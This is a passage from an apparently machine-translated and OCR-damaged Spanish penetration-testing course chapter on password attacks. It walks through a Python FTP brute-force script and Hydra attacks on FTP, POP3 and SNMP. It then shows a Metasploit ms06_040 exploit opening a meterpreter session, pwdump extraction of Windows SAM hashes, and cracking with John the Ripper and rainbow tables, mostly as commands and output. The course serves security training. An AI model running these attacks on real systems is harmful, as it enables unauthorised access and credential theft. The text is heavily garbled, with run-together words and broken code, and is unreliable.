contrasefia.Dichared servicios incluyetdTTR POP3, IMAP, VNC, SMB, RDP, SSH, TELNET,
LDAP, mensajeria instantdnea, SQmys.Unalineaataque de contrasefiancluye la
automatizaciondel proceso deadivinarel fin deacelerarel ataque ymejorar las posibilidades de
éxito deuna conjetura

En este ejemplousted va a escribiun simpleFTPnombre de usuario /contrasefiaguion fuerza
bruta.

Observelo que ocurrecuando intentainiciar sesion en urservidorFTP corcrederciales
incorrectas

root@bt:~#  ftp 192.168.0.112

Connected to 192.168.0.112.

220 Welcome to Code - Crafters - Ability Server 2.34.
Name (192.168.0.112:root): muts

331 Please send PASS now.

Password:

530 Bad password, please restart from USER.

Login failed.

ftp> quit

221 Thanks for visiting.

root@bt:~#
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Y cuando se utiliza unacontrasefiacorrecta:

root@bt:~#  ftp 192.168.0.112

Connected to 192.168.0.112.

220 Welcome to Code - Crafters - Ability Server 2.34.
Name (192.168.0.112:root): ftp

331 Please send PASS now.

Password:

230- Welcome to Code - Crafters - Ability Server 2.34.
230 User 'ftp' logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> quit

221 Thanks for visiting.

root@bt:~#

Tras examinaesta informaciongscribirun script sencillade Python quetratara dela fuerza
bruta contrasefia de urusuario(conocida) ftp:

#!/usr/bin/python

import socket

import re

import sys

def connect(username,password):

s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)
print  "[¥] Trying " + username + ":" + password
s.connect(('192.168.0.112',21))

data = s.recv(1024)

s.send('USER ' + username +* \r\n)
data = s.recv(1024)

s.send('PASS ' + password +* \r\n)

data = s.recv(3)
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s.send(QUIT \r\n)

s.close()

return data

username = "ftp"

passwords =
['test”,"backup","password","12345","root","administrator","ftp","admin"]
for password in passwords:

attempt=connect(username,password)

if attempt == "230"

print "[*] Password found: "+ password

sys.exit(0)

Este scripFTPexamina eimensajedado después delnicio de sesiondatos =s.recv(3))y
compruebasicontiene elFTP230 mensajes lfiicio de sesidn correcto)
Al ejecutar esteherramienta en el servidoFTP ofreceel siguiente resultado:

root@bt:~#  ./ftpbrute.py
[] Trying ftp:test

[*] Trying ftp:backup

[*] Trying ftp:root

[*] Trying ftp:administrator
[*] Trying ftp:ftp

[*] Password found: ftp

root@bt:~#

Este script realiza muy pobremente como una herramienta de fuerza bruta FTP y esta
escrito con el unico fin dgorogramacbn explicar los conceptos detras de fuerza bruta
contrasefia. Como te habras dado cuenta, estaript comprueba las combinaciones de
nombre de usuario / contrasefia en secuencia. Una mejora importante que podria
hacer es ejecutar intentos en paralelo.
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12,2 Hydra

Segun lo descrito por sus autores, Hydra es el hacker Entrar mejor paratisizeara
Samba, FTP, POP3, IMAReInet, HTTP Auth, LDAP, NNTP, MySQL, VNC, ICQ, Socks5,
PCNFS, Ciscp mucho més. Hydra incluye SSipoyar y forma parte de Nessuslydra
soporta un gran nimero de protocolos y es probablemente el mésnocido bruta
contrasefa fuerza de la herramienta.

Tipo de hidra en una consola BackTrack para ver las muchas Hydra opciones de linea
de comandos.

12.2.1 FTP Brute Force

root@bt:~# hydra -Iftp - P passwords.txt -v 192.168.0.112 ftp

Hydra v5.3 (¢) 2006 by van Hauser / THC - use allowed only for legal

purposes.

Hydra (http://www.thc.org) starting at 2006 -11- 04 16:41:48

[DATA] 16 tasks, 1 servers, 22 login tries (:1/p:22), ~1 tries per task

[DATA] attacking service ftp on port 21

[VERBOSE] Resolving addresses ... done

[STATUS] attack finished for 192.168.0.112 (waiting for childs to finish)
[21][ftp] host: 192.168.0.112 login: ftp password: ftp

Hydra (http://www.thc.org) finished at 200 6-11- 04 16:41:58

root@bt:~#
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12.2.2 POP3 Brute Force

root@bt:~# hydra -lImuts - P passwords.txt -v192.168.0.112 pop3
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal
purposes.

Hydra (http://www.thc.org) starting at 2006 - 11- 04 16:44:44

[DATA] 16 tasks, 1 servers, 22 login tries (I:1/p:22), ~1 tries per task

[DATA] attacking service pop3 on port 110

[VERBOSE] Resolving addresses ... done

[110][pop3] host: 192.168.0.112 login: muts password: password
[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 192.168.0.112 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2006 -11- 04 16:44:49

root@bt:~#

12.2.3 SNMP Brute Force

root@bt:~# hydra - P passwords.txt -v 192.168.0.112 snmp

Hydra v5.3 (¢) 2006 by van Hauser / THC - use allowed only for legal
purposes.

Hydra (http://www.thc.org) starting at 2006 -11-04 17:01:10

[DATA] 16 tasks, 1 servers, 23 login tries (I:1/p:23), ~1 tries per task

[DATA] attacking service snmp on port 161

[V ERBOSE] Resolving addresses ... done

[161][snmp] host: 192.168.0.112 login: password: manager

[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 192.168.0.112 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2006-11-04 17:01:15

root@bt:~#
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12.2.4 Microsoft VPN Brute Force

root@bt:~#  dos2unix words

dos2unix: converting file words to UNIX format ...

root@bt:~#  cat words [thc - pptp - bruter 192.168.0.112
PPTP Connection established.

Hostname ", Vendor 'Microsoft Windows NT', Firmware: 2195
5 passwords tested in Oh 00m 00s (5.00 5.00 c/s)

390 passwords tested in Oh 00m 05s (77.00 78.00 c/s)

789 passwords tested in Oh 00m 10s (79.80 78.90 c/s)

1192 passwords tested in O0h 00m 15s (80.60 79.47 c/s)

1578 passwords test ed in 0h 00m 20s (77.20 78.90 c/s)
1648 passwords tested in 0h 00m 20s (83.33 82.40 c/s)

Password is 'manager’

12,3 contrasenaserfiles

El perfilcontrasefiatérmino se refiere al procesale construccion de undista de contrasefias
personalizado queestadisefiadode adivinar las contrasefiage una entidad especificaPor
ejemplo, siBob ama a superro Barfymas que nada erel mundo, me asegurarida barfy
contrasefiasperro, caninoy otras palabragelevantesestan presentes emi contrasefia de la
lista Esto no es unacosafacil de hacerporque hay quesaber queBob tiene un perroen la
primeralugar. Sin embargo, sintentaimplementarperfiles deusuario enuna escala
organizacional a menudo seencontramos quelos administradores utilizasus marca®
nombres de productosde la compafiacomo sus contrasefias.
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12.3.1CeWL

Segun lo descrito posus autoresCeWLes unaaplicacion Rubyque las arafias deina URL
dada ala profundidad especificadgopcionalmentesiguiendo los enlacegxternos,y devuelve
una lista de palabragjue se pueden utilizapara crackers de contrasefaslescomo Johnthe
Ripper.Para obtener masnformaciénacerca deCeWlL, visitala pagina del proyecto
(http://lwww.digininja.org/projects/cewl.php)Ejecucion deCeWLnos mostrarélas siguientes
opciones:

root@bt:/pentest/passwords/cewl# ruby cewl.rb -- help
cewl 3.0 Robin Wood (dninja@gmail.com) (www.digininja.org)
Usage: cewl [OPTION] ... URL

-- help, - h:show help

-- depth x, - d x: depth to spider to, default 2

-- min_word_length, - m: minimum word length, default 3
-- offsite, - 0: let the spider visit other sites

-- write, - w file: write the output to the file

-- ua, -uuser -agent useragentto send

-- no-words, - n:don't output the wordlist

-- meta, - afile: include meta data, optional output file

-- email, - efile: include email addresses, optional output file

-- meta - temp - dir directory: the temporary directory,default /tmp

- v: verbose

URL: The site to spider.

root@bt:/pentest/passwords/cewl# Jcewl.rb -d1l -wpass.txt
http://www.offsec.com/about.php

root@bt:/pentest/passwords/cewl# cat passwords.txt |wc -1
430

root@bt:/pentest/passwords/cewl#

ol ¢
P ‘ @BackTrackAcadem ‘* fb/BackTrackAcademy




Paginal 246 i
12,4 Ataques contrasefa fuera de linea

La mayoria de los sistemas que utilizan un mecanismo de autenticaciécat@rasefia necesita
almacenar estas contrasefias (o bashes) localmente en la maquina. Esto es cierto para los
sistemas operativos (Windows, Linux, Cisco I0S) de lah@diware (routers, switches), y asi
sucesivamente.

Si no esté familiarizado con @érmino HASH, por favor visite:

http://en.wikipedia.org/wiki/Cryptographic_hash_function.

Como los atacantes, a menudo se encontrara con los hashes de contrasefias, ya sea por errores
de configuracion o debido a ungenetracion exitosa.

Teniendo en cuentdos privilegios administrativos, por ejemplo, es posible volcar los hashes de
contrasefia de usuario d&Vindows y sistemas operativos Linux.

A menudo me preguntan: "Si usted ya es un administrador local en un equipo, ¢por qué usted
necesita para obtenehash de las contrasefias de otros usuarios, a menudo menos
privilegiados? "Hago esto porque las contrasefias a menudo se reutilizan en toda la red, ya
veces incluso a través del Internet! Por ejemplo, Bob es un usuario normal en la red de
Windows sin embar@, él se encarga ddodos los routers y los conmutadores de la red, y lo

gue haya utilizado la misma contrasefia pasanbos recursos.

En esta situacion, el vertido de las contrasefas locales de una maquina y su inclusion en la
contrasefalista normalmente s traducird en un éxito adivinar la contrasefia mas tarde en el
ataque.

12.4.1 SAM de Windows

Windows almacena los nombres de usuario locales en el Administrador de cuentas de
seguridad (SAM), asi como en otrdggares. Por favor, lea el siguiente artiowdi no esta
familiarizado con el SAM:

http://www.microsoft.com/technet/archive/winntas/tips/winntmag/storpass.mspx?mfr=true.

El archivo SAM se encuentra en% SystemRodt$ystem32 config y es inaccesible para la
lectura,copiar o escribir mientras sesta ejecutando Windows.

Una copia de seguridad del SAM por lo general se encuentra en% systemroot#pair. Este
archivo no esta bloqueado poel sistema operativo y se puede acceder dado suficientes
privilegios.

Vadke i
P ' @BackTrackAcadem ‘* fb/BackTrackAcademy




e
F |

=

Pagina] 247?

12.4.2 Ventanas Hash Dumping: pwthp y fgdump

Hash de Windows dumping implica volcar la base de datos de la contrasefia de una maquina
Windows que se lleva a caben el registro de NT en HKEY_LOCAL_MACHINEECURITY
SAM\ Domains\ Account\ Users.

Volcar la base de datos de contrasefia sealiza mediante Windows llama a la funcién interna
para recuperar los hashes.

Debido a que estas funciones requieren acceso privilegiado, es necesario obtener primero el
acceso adecuadaqrivilegios. El subsistema de autoridad de seguridad local (LSA8S®jecuta
con los privilegios de acceso necesarios, por lo goedump utiliza una técnica conocida como
inyeccion DLL para ejecutarse en el proceso LSASS vy lograacsiso privilegiado a la
informacion de hash.

En este ejemplo, podras aprovechar un s@wr Windows 2003 sin el parche, cargar pwdump, y
volcar ellocales hashes de contrasefia de usuario:

root@bt.~# cp - rf /pentest/windows - binaries/passwd - attack/pwdump6/ /tmp/pwdump

bt framework3 # Jmsfcli exploit/windows/smb/ms06_040_netapi RHOST=192.168.0.112
PAYLOAD=windows/meterpreter/bind_tcp E

[*] Started bind handler

[*] Detected a Windows 2000 target

[*] Binding to 4b324fc8 -1670-01d3- 1278 -

5a47bf6eel88:3.0@ncacn_np:192.168.0.112[ \ BROWSER]

[*] Bound to 4b324fc8 - 1670-01d3- 1278 -
5a47bf6eel88:3.0@ncacn_np:192.168.0.112[ \ BROWSER] ...

[*] Building the stub data...

[*] Calling the vulnerable function...

[*] Transmitting intermediate stager for over - sized stage...(89 bytes)
[*] Sending stage (2834 bytes)

[*] Sle  eping before handling stage...

[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.0.111:40091 ->192.168.0.112:4444)

meterpreter > upload - r /tmp/pwdump c: \\winnt \\ system32 \\
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[*] uploading : /tmp/pwdump/PwDum p.exe ->c: \winnt \ system32 \\ PwDump.exe

[*] uploaded : /tmp/pwdump/PwDump.exe ->c: \winnt \ system32 \\ PwDump.exe

[*] uploading : /tmp/pwdump/LsaExt.dll ->c: \winnt \ system32 \\ LsaExt.dll

[*] uploaded : /tmp/pwdump/LsaExt.dll ->c: \winnt \ system32 \\ LsaExt.dIl

[*] uploading : tmp/pwdump/pwservice.exe ->c: \winnt \ system32 \\ pwservice.exe
[*] uploaded : /tmp/pwdump/pwservice.exe ->c: \winnt \ system32 \\ pwservice.exe

meterpreter >  execute -fcmd -c

Process 1996 created.

Channel 8 created.

meterpreter > interact 8

Interacting with channel 8...

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985 - 2000 Microsoft Corp.

C:\ WINNT system32> pwdump \\ 127.0.0.1

pwdump \\ 127.0.0.1

Using pipe {601E5D26 - 81AA- 4DFE 8FD4- DF4B79603D95}

Key length is 16
Administrator:500:7E6DA418E261F2ES8AAD3B435B51404EE:F938B53B982F22CD6B1C14AE106654
80:::
bob:1007:92315C8B485693A7AAD3B435B51404EE:EOC32CDA6GFE6ECC163F442D002BBA3DAF:::
david:1006:701E323A546B75899F78CDO5ESBE4E2E: CCFAFD112C6417E236BE9897692CB019:::

goliath:100  8:E9A1D031141501CF4207FDODF35A59A8:EC7F0289A3B2AE80453E508E746F1BA9:::

Guest:501:NO PASSWORD :NO PASSWORD*
é
samuel:1009:9E3C4A013FF8123DAAD3B435B51404EE:7F1FC5A10925F8CC81AA6B29E5734BAF:::
Completed.

pwdump6 Vers ion 1.4.2 Copyright 2006 foofus.net

C:\ WINNT system32>
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Estos son los hashes LM que pueden ser rotos facilmente con John the Ripper o Rainbowtables
(tanto discutido en las secciones siguientes).

Si no esté familiarizado con los hashes LM, por faves el siguiente articulo:
http://en.wikipedia.org/wiki/LM_hash

12.4.3 John the Ripper

Segun lo descrito por sus autores, John the Ripper (JTR) es una galleta de la contrasefia rapido,
actualmente disporthle paramuchos sabores de Unix, Windows, DOS, BeOS, y OpenVMS. Su
propésito principal es detectar débitontrasefias. Ademas cripta varios (3) tipos de hash de
contrasefias mas comunmente encontrados en varios Usabores, con el apoyo de la caja son
Kerbeos AFS y Windows NT/2000/XP/2003 hashes LM, ademavaléos mas con parches
aportados.

JTR se puede utilizar para romper hashes LM, como se puede ver en el siguiente ejemplo.

Cree el hashes.txt archivo con los hashes interesantes son:

Administrator:500 :7TE6DA418E261F2E8AAD3B435B51404EE:F938B53B982F22CD6B1C14AE106654
80:::

bob:1007:92315C8B485693A7AAD3B435B51404EE:EOC32CDAGFEECC163F442D002BBA3DAF:::
david:1006:701E323A546B75899F78CDO5ESBE4E2E:CCFAFD112C6417E236BE9897692CB019:::
goliath:1008:E9A1D031141501C F4207FDODF35A59A8:EC7F0289A3B2AE80453E508E746F1BA9:::

samuel:1009:9E3C4A013FF8123DAAD3B435B51404EE:7F1FC5A10925F8CC81AAGB29E5734BAF:::

EjecutarJTRsobre este archivo:

bt run # Jjohn hashes.txt

Loaded 7 password hashes with no different salts (NT LM DES [32/32 BS])
GOLIATH (goliath:1)

12 (goliath:2)

BABYLON (samuel)

MANAGER (Administrator)

MYPASS (bob)

guesses: 5 time: 0:00:00:37 (3) c/s: 6693K trying: 44286R1 - 44284M2
guesses: 5 time: 0:00:00:39 (3) c/s: 6630K trying: MS6ARSI - MS6ARU7
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Lascontrasefiassimples gerente,goliath12 babylon,MYPASFse agrietanen el primer minutq
pero mascontrasefias complejapuede tomarmucho mas tiempopara acabar

12.4.4TablasRainbow

Segun lo descrito posus autoresla herramientaRainbowCrackhttp://project-
rainbowcrack.com/) esin hashcracker.Una galleta defuerza brutatradicional intentatodos los
textos planosposibles uno por uno, que es urtimeconsumingmanera de rompercontrasefias
complejas.La idea de lacompensacionde tiempo dela memoriaes hacer todoagrietamiento
tiempo de calculocon anticipaciony guardarel resultadoen los llamadosarchivosdel arco iris
de la tabla.Sin embargo, tomaun largo tiempo paraprecompute las tablasPerouna vez que
el precalculode una sola vezse abrir4 unavez la memoriagalletacompensaciénpueden ser
cientos deveces mas rapido quein cracker defuerza brutacon la ayuda detablas
precalculadas.

Debido a lasdeficiencias déhashLM, esposible creartablas de arco irigpara elcompleto Inglés
juego de caracteresie hasta siete caracterede longitud. Esto efectivamentde permitira
bloquearlos hashed M paracontrasefiasde hastal4 caracteres

Trate decrackear la contrasefide Davidcon RainbowCrackTenga en cuentague en este
ejemplo estoy usandomi propia tablaRainbowlocales.Estos no estan disponiblesn BackTrack
(aprox.100 GB. A RainbowCraclservidor esta configuradgara su uso.Leamas informacién
sobre esto en ekjercicio.

root@bt:~#  cat hashes.txt |grep david > crackme

root@bt:~# mv crackme /mnt/tables/

bt tables # rcrack *.rt - f crackme

Im_alpha - numeric - symbol32 - space#l - 7_0_15200x67108864 O0.rt:
201170944 bytes read, disk access time: 0.64 s

verifying the file...

searching for 2 hashes...

Im_alpha - numeric - symbol32 - space#l - 7_0_15200x67108864 1.rt:
201170944 bytes read, disk access time: 0.75 s

verifying the file...

searching for 2 hashes...

cryptanalysis time: 2.64 s

67887104 bytes read, disk access time: 0.19 s
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searching for 2 hashes...
plaintext of 9f78cd05e5bede2e is 0 - RD@#"

cryptanalysis time: 0.69 s

201170944 bytes read, disk access time: 0.44 s
searching for 1 hash...

plaintext of 701e323a546b7589 is MYP@55W
cryptanalysis time: 0.38 s

statistics

plaintext found: 2 of 2 (100.00%)

total disk access time: 13.33 s

total cryptanalysis time: 328.30 s

total chain walk step: 230994402

total false alarm: 6670

total chain walk step due to false alarm: 33851285

result

david MYP@55wO0 - rD@#" hex:4d595040353577302d724440235e

localhost tables #

Se puede ver quamediante el uso ddastablas de arco irid.M, le rompié el complejo,
contrasefiade 14 caracterePAI@ 55w0-rD @ #” en menos de 6minutos.

Una interfazweb a un conjunto detablasde hashLM Rainbowes accesible a través
http://cracker.offensivesecuriticom.

Usted puede utilizar estgalletade romper hashesLM variosque te encuentresen el curso.
Tenga en centa queno tiene mucho sentidoen grietashashespertenecen a los usuariodel
sistema, comar sinternetUserHuésped ]WAM, CuentaslUSRYy asi sucesivamentédemas las
contrasefias de administradadte la mayoria ddas maquinas sommas 14 caracteres ddargoy
por lo tanto no es vulnerable aste tipo deagrietamientohash.
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12.4.5"Windowshace qué

El sistema operativdVindows tieneuna caracteristica Unica esu protocolo SMB presente
desde los dias déNT4.Considereel siguiente escenaricel equipo A esta intentando acceder a
un recurso compartido erel equipo B.Eneste intento,el equipo A enviael nombre de usuario
y contrasefia con algoritmo hasklel usuario queha iniciado sesién

Equipo Bcompruebasi las credencialese envian desdel ordenador Ala altura de sucuenta.
Si lo hacengl usuarioel equipo Ase le da accesa la partesinque se le pidauna contrasefa.

Si elusuario no existeen el equipo B el usuario erel equipo Asele pedira que introduzcauna
nombre de usuario ycontrasefia para podeacceder al recurso compartide;, Quéhay de malo
en esta imagen?

Un atacanteen el equipo Bpuede inducir alusuarioa una computadora paraconectarse asu
cuota, mientras quesimultaneamenteejecutando unsniffer.El usuario erel equipo Ale enviara
su contrasefia con algoritmo hashque escapturado yagrietado por el atacanteen el equipo B.
El usuario Biene ahoranombre de usuariodel usuario Ay contrasefia

Esta técnicase puede mejorarUna vez que ehtacanteen el equipo Brecibela contrasefia con
algoritmo hasha partir de el usuario enel equipo A,que simplementetransmite lacaptura
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